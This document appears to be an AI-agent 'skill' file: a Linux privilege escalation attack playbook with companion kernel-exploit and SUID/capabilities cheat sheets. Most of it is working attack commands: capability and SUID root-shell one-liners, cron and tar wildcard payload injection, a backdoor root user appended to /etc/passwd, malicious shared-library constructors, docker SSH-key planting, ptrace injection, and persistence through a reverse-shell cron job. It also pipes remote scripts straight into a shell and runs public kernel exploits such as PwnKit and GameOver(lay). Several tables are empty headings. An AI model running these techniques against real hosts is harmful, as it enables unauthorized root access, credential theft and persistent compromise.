Linux Privilege Escalation

SKILL: Linux Privilege Escalation — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert Linux privesc techniques. Covers enumeration, SUID/SGID, capabilities, cron abuse, kernel exploits, NFS, writable passwd/shadow, LD_PRELOAD, Docker group, and library hijacking. Base models miss subtle escalation paths via capabilities and combined misconfigurations.

0. RELATED ROUTING

Before going deep, consider loading:

• container-escape-techniques when the target is a container and you need to escape to host
• linux-security-bypass when facing restricted shells, AppArmor, SELinux, or seccomp
• linux-lateral-movement after obtaining root for pivoting to adjacent hosts
• kubernetes-pentesting when the host is a Kubernetes node

Advanced Reference

Also load SUID_CAPABILITIES_TRICKS.md when you need:

• Top 30 SUID binaries with exact exploitation commands (GTFOBins)
• Capability-specific exploitation for each dangerous cap
• Custom SUID binary exploitation methodology

Also load KERNEL_EXPLOITS_CHECKLIST.md when you need:

• Kernel version → exploit mapping table (DirtyPipe, DirtyCow, OverlayFS, etc.)
• Exploit compilation tips and cross-compilation notes
• Kernel exploit stability assessment

---

1. ENUMERATION CHECKLIST

Run these immediately after landing a shell:

System Info

uname -a                        # Kernel version
cat /etc/os-release             # Distro and version
cat /proc/version               # Kernel compile info
hostname && id && whoami        # Current context

Sudo & SUID/SGID

sudo -l                         # What can we run as root?
find / -perm -4000 -type f 2>/dev/null   # SUID binaries
find / -perm -2000 -type f 2>/dev/null   # SGID binaries
getcap -r / 2>/dev/null         # Files with capabilities

Cron & Timers

cat /etc/crontab
ls -la /etc/cron.*
crontab -l
systemctl list-timers --all     # systemd timers

Writable Files & Dirs

find / -writable -type f 2>/dev/null | grep -v proc
ls -la /etc/passwd /etc/shadow  # Check permissions
find / -perm -o+w -type d 2>/dev/null   # World-writable dirs

Network & Services

ss -tlnp                        # Listening services
cat /proc/net/tcp               # Raw TCP connections
ps aux                          # Running processes
env                             # Environment variables (credentials?)

Credential Locations

cat ~/.bash_history
cat ~/.mysql_history
find / -name "*.conf" -o -name "*.cfg" -o -name "*.ini" 2>/dev/null | head -30
find / -name "id_rsa" -o -name "*.pem" -o -name "*.key" 2>/dev/null

---

2. SUID/SGID EXPLOITATION

GTFOBins Methodology

1. Find SUID binaries: find / -perm -4000 -type f 2>/dev/null 2. Cross-reference each with GTFOBins 3. Use the "SUID" section specifically — not all binary abuse works with SUID

Quick-Win SUID Escalations

Shared Library Hijacking (SUID Binary)

ldd /usr/local/bin/suid_binary                    # Check loaded libraries
strace /usr/local/bin/suid_binary 2>&1 | grep -i "open.*\.so"  # Find load paths

# If it loads from a writable directory — inject constructor:
gcc -shared -fPIC -o /writable/path/libevil.so evil.c
# evil.c: __attribute__((constructor)) → setuid(0); system("/bin/bash -p")

---

3. CAPABILITIES ABUSE

# Find binaries with capabilities
getcap -r / 2>/dev/null

# Example: python3 with cap_setuid
# /usr/bin/python3 = cap_setuid+ep
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

---

4. CRON / TIMER ABUSE

Writable Cron Scripts

# Find cron jobs running as root
cat /etc/crontab | grep root
ls -la /etc/cron.d/

# If a root-owned cron runs a script writable by current user:
echo 'cp /bin/bash /tmp/bash && chmod +s /tmp/bash' >> /writable/script.sh
# Wait for cron → /tmp/bash -p

PATH Hijacking in Cron

# If crontab has: PATH=/home/user:/usr/local/bin:/usr/bin
# And runs: * * * * * root backup.sh (without full path)
# Create /home/user/backup.sh:
echo '#!/bin/bash' > /home/user/backup.sh
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /home/user/backup.sh
chmod +x /home/user/backup.sh

Wildcard Injection (tar)

# If cron runs: tar czf /backup/archive.tar.gz *
# In the target directory, create:
echo 'cp /bin/bash /tmp/bash && chmod +s /tmp/bash' > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > "--checkpoint=1"
# tar interprets filenames as arguments

pspy — Monitor Processes Without Root

# Upload pspy64 or pspy32 to target
./pspy64
# Watch for cron jobs, services, and background processes

---

5. NFS NO_ROOT_SQUASH

# On attacker: check exported shares
showmount -e TARGET_IP

# If no_root_squash is set:
mount -t nfs TARGET_IP:/share /mnt/nfs
# As root on attacker box:
cp /bin/bash /mnt/nfs/bash
chmod +s /mnt/nfs/bash

# On target:
/share/bash -p    # root shell

---

6. WRITABLE /etc/passwd OR /etc/shadow

Writable /etc/passwd

# Generate password hash
openssl passwd -1 -salt xyz password123
# → $1$xyz$...hash...

# Append root-equivalent user
echo 'hacker:$1$xyz$hash:0:0::/root:/bin/bash' >> /etc/passwd

# Or replace root's 'x' with generated hash (if no shadow file)

Writable /etc/shadow

# Generate SHA-512 hash
mkpasswd -m sha-512 password123

# Replace root's hash in /etc/shadow

---

7. LD_PRELOAD / LD_LIBRARY_PATH WITH SUDO

# If sudo -l shows: env_keep+=LD_PRELOAD or env_keep+=LD_LIBRARY_PATH
# Compile .so with _init() that calls setresuid(0,0,0) + system("/bin/bash -p")
gcc -fPIC -shared -nostartfiles -o /tmp/pe.so /tmp/pe.c
sudo LD_PRELOAD=/tmp/pe.so /usr/bin/some_allowed_binary

---

8. DOCKER GROUP → ROOT

# If current user is in the docker group:
id    # check for "docker" in groups

# Mount host filesystem
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

# Or add SSH key
docker run -v /root:/mnt --rm -it alpine sh -c \
  'echo "ssh-rsa AAAA..." >> /mnt/.ssh/authorized_keys'

---

9. PYTHON / PERL / RUBY LIBRARY HIJACKING

# Python: if a root-executed script does "import somelib"
# Check python path order:
python3 -c 'import sys; print("\n".join(sys.path))'

# Place malicious module in writable path that comes first:
cat > /writable/path/somelib.py << 'EOF'
import os
os.system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash")
EOF

# Perl: PERL5LIB / @INC manipulation
# Ruby: RUBYLIB / $LOAD_PATH manipulation

---

10. AUTOMATED TOOLS

---

11. PRIVILEGE ESCALATION DECISION TREE

Low-privilege shell obtained
│
├── sudo -l shows entries?
│   ├── GTFOBins match? → exploit directly
│   ├── env_keep has LD_PRELOAD? → LD_PRELOAD hijack (§7)
│   ├── NOPASSWD on custom script? → review script for injection
│   └── (ALL) with password? → check for password reuse/hashes
│
├── SUID/SGID binaries found?
│   ├── Standard binary on GTFOBins? → SUID exploit (§2)
│   ├── Custom binary? → reverse engineer, check libs (strace/ltrace)
│   └── Shared lib from writable path? → library hijack (§2)
│
├── Capabilities on binaries?
│   ├── cap_setuid? → instant root (§3)
│   ├── cap_dac_override? → write /etc/passwd (§6)
│   ├── cap_sys_admin? → mount / namespace tricks
│   └── cap_sys_ptrace? → process injection
│
├── Cron jobs running as root?
│   ├── Writable script? → inject payload (§4)
│   ├── Missing full path? → PATH hijack (§4)
│   └── Uses wildcards? → wildcard injection (§4)
│
├── Writable sensitive files?
│   ├── /etc/passwd writable? → add root user (§6)
│   ├── /etc/shadow writable? → replace root hash (§6)
│   └── systemd unit files writable? → add ExecStartPre
│
├── Docker/LXD group membership?
│   └── Yes → mount host filesystem (§8)
│
├── NFS shares with no_root_squash?
│   └── Yes → SUID binary via NFS (§5)
│
├── Kernel version old/unpatched?
│   └── Check KERNEL_EXPLOITS_CHECKLIST.md
│
└── None of the above?
    ├── Run LinPEAS for comprehensive scan
    ├── Check for password reuse (bash_history, config files)
    ├── Check internal services (127.0.0.1 listeners)
    └── Monitor processes with pspy for hidden opportunities

Kernel Exploits Checklist

AI LOAD INSTRUCTION: Load this when the target has an outdated kernel and you need to map kernel version to known exploits. Covers DirtyPipe, DirtyCow, OverlayFS, nf_tables, io_uring, Netfilter, and more. Includes compilation tips, cross-compilation, static linking, and stability notes. Assumes the main SKILL.md is already loaded.

---

1. KERNEL VERSION → EXPLOIT MAPPING TABLE

1.1 Critical Kernel Exploits (2016–2024)

1.2 Older Kernel Exploits (Pre-2016)

1.3 Container-Relevant Kernel Exploits

---

2. EXPLOIT COMPILATION TIPS

2.1 On-Target Compilation

# Check if gcc/cc is available
which gcc cc

# Simple compilation
gcc exploit.c -o exploit -static
# -static: include all libraries — avoids version mismatch

# If no gcc, check for alternatives:
which musl-gcc    # Alpine/minimal systems
which clang
which tcc         # Tiny C Compiler

2.2 Cross-Compilation (on Attacker Box)

# For x86_64 target:
gcc -static -o exploit_x64 exploit.c

# For x86 (32-bit) target:
gcc -m32 -static -o exploit_x86 exploit.c

# For ARM (Raspberry Pi, embedded):
arm-linux-gnueabihf-gcc -static -o exploit_arm exploit.c

# For AARCH64:
aarch64-linux-gnu-gcc -static -o exploit_arm64 exploit.c

# For MIPS (routers, IoT):
mipsel-linux-gnu-gcc -static -o exploit_mips exploit.c

# Install cross-compilers (Debian/Ubuntu):
apt install gcc-arm-linux-gnueabihf gcc-aarch64-linux-gnu gcc-mipsel-linux-gnu

2.3 Musl Static Linking (Smallest Binaries)

# Install musl cross-compiler
apt install musl-tools

# Compile static binary with musl (much smaller than glibc static)
musl-gcc -static -o exploit exploit.c

2.4 Go / Rust Exploits (Pre-Compiled)

# Many modern exploits are in Go — compile statically:
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -o exploit .

# Rust:
RUSTFLAGS='-C target-feature=+crt-static' cargo build --release --target x86_64-unknown-linux-musl

---

3. KERNEL EXPLOIT STABILITY NOTES

3.1 Stability Tiers

3.2 Pre-Exploit Checklist

Before running a kernel exploit:
│
├── 1. Verify kernel version matches exactly
│   ├── uname -r
│   ├── cat /proc/version
│   └── Compare with exploit's documented range
│
├── 2. Check architecture
│   ├── uname -m       # x86_64, aarch64, armv7l
│   └── file /bin/ls   # ELF 64-bit / 32-bit
│
├── 3. Check distro-specific patches
│   ├── Ubuntu/Debian: dpkg -l linux-image-$(uname -r)
│   ├── RHEL/CentOS: rpm -q kernel-$(uname -r)
│   └── Backported fixes may not change version number!
│
├── 4. Assess stability risk
│   ├── Tier 1 → safe to run
│   ├── Tier 2 → run, may need 2-3 attempts
│   └── Tier 3 → run only as last resort; may crash/panic
│
├── 5. Verify security modules
│   ├── SELinux: getenforce / sestatus
│   ├── AppArmor: aa-status / cat /sys/module/apparmor/parameters/enabled
│   └── seccomp: grep Seccomp /proc/self/status
│
└── 6. Set up persistence BEFORE running (in case of crash)
    ├── SSH key in ~/.ssh/authorized_keys
    ├── Reverse shell cron job
    └── Save current shell state

3.3 Common Failure Modes

---

4. SPECIFIC EXPLOIT QUICK REFERENCES

4.1 DirtyPipe (CVE-2022-0847)

# Check: kernel 5.8 – 5.16.10
uname -r

# Exploit (overwrite /etc/passwd):
./dirtypipe /etc/passwd 1 '${root_line}'
# Or use the SUID variant: overwrites a SUID binary temporarily
./dirtypipez    # automated — spawns root shell

# Very stable — no race condition, uses splice()

4.2 PwnKit (CVE-2021-4034)

# Check: pkexec must be SUID (almost always is)
ls -la /usr/bin/pkexec

# Exploit:
# Most public PoCs are single-command:
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
chmod +x PwnKit && ./PwnKit

# Or compile from source:
gcc cve-2021-4034.c -o pwnkit
./pwnkit

4.3 GameOver(lay) (CVE-2023-2640 + CVE-2023-32629)

# Ubuntu-specific (5.15 – 6.2 Ubuntu kernels)
# One-liner:
unshare -rm sh -c "
  mkdir l u w m &&
  cp /u*/b*/p]asswd l/;
  setcap cap_setuid+eip l/passwd;
  mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
  touch m/*;" &&
u/passwd

4.4 DirtyCow (CVE-2016-5195)

# Check: kernel < 4.8.3
uname -r

# Preferred variant (madvise — more stable):
gcc -pthread dirtycow-mem.c -o dcow -lcrypt
./dcow
# Modifies /etc/passwd in memory; may need revert after

# IMPORTANT: some variants can cause system instability
# Always prefer the madvise variant over the write() variant

4.5 Baron Samedit (CVE-2021-3156)

# Check sudo version:
sudo --version
# Vulnerable: 1.8.2 – 1.8.31p2, 1.9.0 – 1.9.5p1

# Quick test (should trigger error, not usage):
sudoedit -s '\' $(python3 -c 'print("A"*1000)')
# If "malloc(): memory corruption" → likely vulnerable

# Compile and run exploit (multiple variants available)

---

5. AUTOMATED KERNEL EXPLOIT SUGGESTION

# linux-exploit-suggester (shell script — no compilation needed)
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh

# linux-exploit-suggester-2 (Perl)
wget https://raw.githubusercontent.com/jondonas/linux-exploit-suggester-2/master/linux-exploit-suggester-2.pl
perl linux-exploit-suggester-2.pl

# LinPEAS also checks for kernel exploits
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

SUID/SGID & Capabilities Exploitation Tricks

AI LOAD INSTRUCTION: Load this for detailed SUID binary exploitation commands (GTFOBins top 30), capability-specific abuse techniques, and custom SUID exploitation methodology. Assumes the main SKILL.md is already loaded for enumeration and general privesc flow.

---

1. TOP 30 SUID BINARIES — EXPLOITATION COMMANDS

All commands below assume the binary has the SUID bit set (-rwsr-xr-x with root ownership).

1.1 Shell / Interpreters

1.2 File Readers / Editors

1.3 File Operations

1.4 Execution / Utility

1.5 Network Binaries with SUID

---

2. CAPABILITY-SPECIFIC EXPLOITATION

2.1 cap_setuid (Most Dangerous)

Any binary with this capability can change its UID to 0.

# Python
/usr/bin/python3 = cap_setuid+ep
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# Perl
/usr/bin/perl = cap_setuid+ep
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'

# PHP
/usr/bin/php = cap_setuid+ep
php -r 'posix_setuid(0); system("/bin/bash");'

# Ruby
/usr/bin/ruby = cap_setuid+ep
ruby -e 'Process::Sys.setuid(0); exec "/bin/bash"'

# Node.js
/usr/bin/node = cap_setuid+ep
node -e 'process.setuid(0); require("child_process").spawn("/bin/bash",{stdio:[0,1,2]})'

2.2 cap_dac_override (Bypass File Permissions)

Can read/write ANY file regardless of ownership/permissions.

# If vim has cap_dac_override:
vim /etc/shadow          # Read and edit shadow file
vim /etc/passwd          # Add root-level user
vim /root/.ssh/authorized_keys   # Plant SSH key

# If python has cap_dac_override:
python3 -c '
f = open("/etc/shadow"); print(f.read())
'
# Or write:
python3 -c '
with open("/etc/passwd","a") as f:
    f.write("hacker:$1$xyz$hash:0:0::/root:/bin/bash\n")
'

2.3 cap_dac_read_search (Read Any File)

# If tar has cap_dac_read_search:
tar czf /tmp/shadow.tar.gz /etc/shadow
tar xzf /tmp/shadow.tar.gz -C /tmp/

# If base64 has it:
base64 /etc/shadow | base64 -d

2.4 cap_sys_admin (Mount, BPF, Namespaces)

# Mount host filesystem (in a container context)
mkdir /mnt/host
mount /dev/sda1 /mnt/host
# Full host access

# Abuse via unshare (create user namespace, remap UID)
unshare -r /bin/bash
# Now root inside the namespace

2.5 cap_sys_ptrace (Process Injection)

# Inject into a root process
python3 << 'PYEOF'
import ctypes, sys

libc = ctypes.CDLL("libc.so.6")
PTRACE_ATTACH = 16
PTRACE_POKETEXT = 4
PTRACE_DETACH = 17

pid = int(sys.argv[1])  # PID of root process
libc.ptrace(PTRACE_ATTACH, pid, 0, 0)
# ... inject shellcode into process memory ...
PYEOF

# Simpler: use gdb if available
gdb -p <root_pid> -batch -ex 'call system("chmod +s /bin/bash")'

2.6 cap_net_raw (Network Sniffing)

# If tcpdump has cap_net_raw:
tcpdump -i eth0 -w /tmp/capture.pcap -c 1000

# If python has cap_net_raw:
# Use scapy to sniff credentials
python3 -c '
from scapy.all import *
sniff(filter="tcp port 80", prn=lambda p: p.show(), count=50)
'

2.7 cap_fowner (Change File Ownership)

# Change ownership of /etc/shadow to current user
python3 -c 'import os; os.chown("/etc/shadow", 1000, 1000)'
# Now read/modify shadow as normal user

2.8 cap_chown (Change Ownership of Any File)

# Similar to cap_fowner — take ownership of sensitive files
chown $(id -u):$(id -g) /etc/shadow

---

3. CUSTOM SUID BINARY EXPLOITATION

3.1 Methodology

Custom SUID binary found?
│
├── 1. Identify the binary type
│   ├── file /path/to/binary          → ELF? script wrapper?
│   └── strings /path/to/binary       → find hardcoded paths, commands
│
├── 2. Analyze behavior
│   ├── strace /path/to/binary 2>&1   → syscalls (open, exec, access)
│   ├── ltrace /path/to/binary 2>&1   → library calls (system, popen)
│   └── Run with various inputs       → observe behavior
│
├── 3. Find injection vectors
│   ├── Calls system()/popen() with user input? → command injection
│   ├── Opens files from PATH? → PATH hijack
│   ├── Loads shared libs from writable dir? → lib hijack
│   ├── Reads config from writable location? → config poisoning
│   └── Uses relative paths for commands? → PATH hijack
│
└── 4. Exploit
    ├── PATH hijack: export PATH=/tmp:$PATH; create /tmp/<command>
    ├── Lib hijack: place evil .so in writable RPATH/RUNPATH
    ├── Command injection: inject shell metacharacters
    └── Race condition: TOCTOU on checked files

3.2 PATH Hijacking Example

# Binary runs "service apache2 restart" (relative path)
strings /usr/local/bin/suid_binary | grep service

# Create malicious "service" in PATH
echo '#!/bin/bash' > /tmp/service
echo 'cp /bin/bash /tmp/bash && chmod +s /tmp/bash' >> /tmp/service
chmod +x /tmp/service
export PATH=/tmp:$PATH

# Execute the SUID binary
/usr/local/bin/suid_binary
# → /tmp/bash -p

3.3 Shared Library Hijacking via RPATH/RUNPATH

# Check RPATH/RUNPATH
readelf -d /usr/local/bin/suid_binary | grep -i path
# RUNPATH: /home/user/lib

# Check what libraries it needs
ldd /usr/local/bin/suid_binary
# libcustom.so => not found

# Create malicious library
cat > /tmp/evil.c << 'EOF'
#include <stdlib.h>
#include <unistd.h>
static void pwn() __attribute__((constructor));
void pwn() {
    setuid(0); setgid(0);
    system("/bin/bash -p");
}
EOF
gcc -shared -fPIC -o /home/user/lib/libcustom.so /tmp/evil.c

# Run the SUID binary → root shell

3.4 TOCTOU Race Condition

# If SUID binary checks file permission then reads it:
# access("/tmp/userfile", R_OK) → open("/tmp/userfile")

# Race: swap file between check and open
while true; do
    ln -sf /home/user/allowed.txt /tmp/userfile
    ln -sf /etc/shadow /tmp/userfile
done &

# Repeatedly run the SUID binary
while true; do
    /usr/local/bin/suid_binary /tmp/userfile 2>/dev/null | grep root && break
done

---

4. QUICK-REFERENCE: CAPABILITIES → EXPLOITATION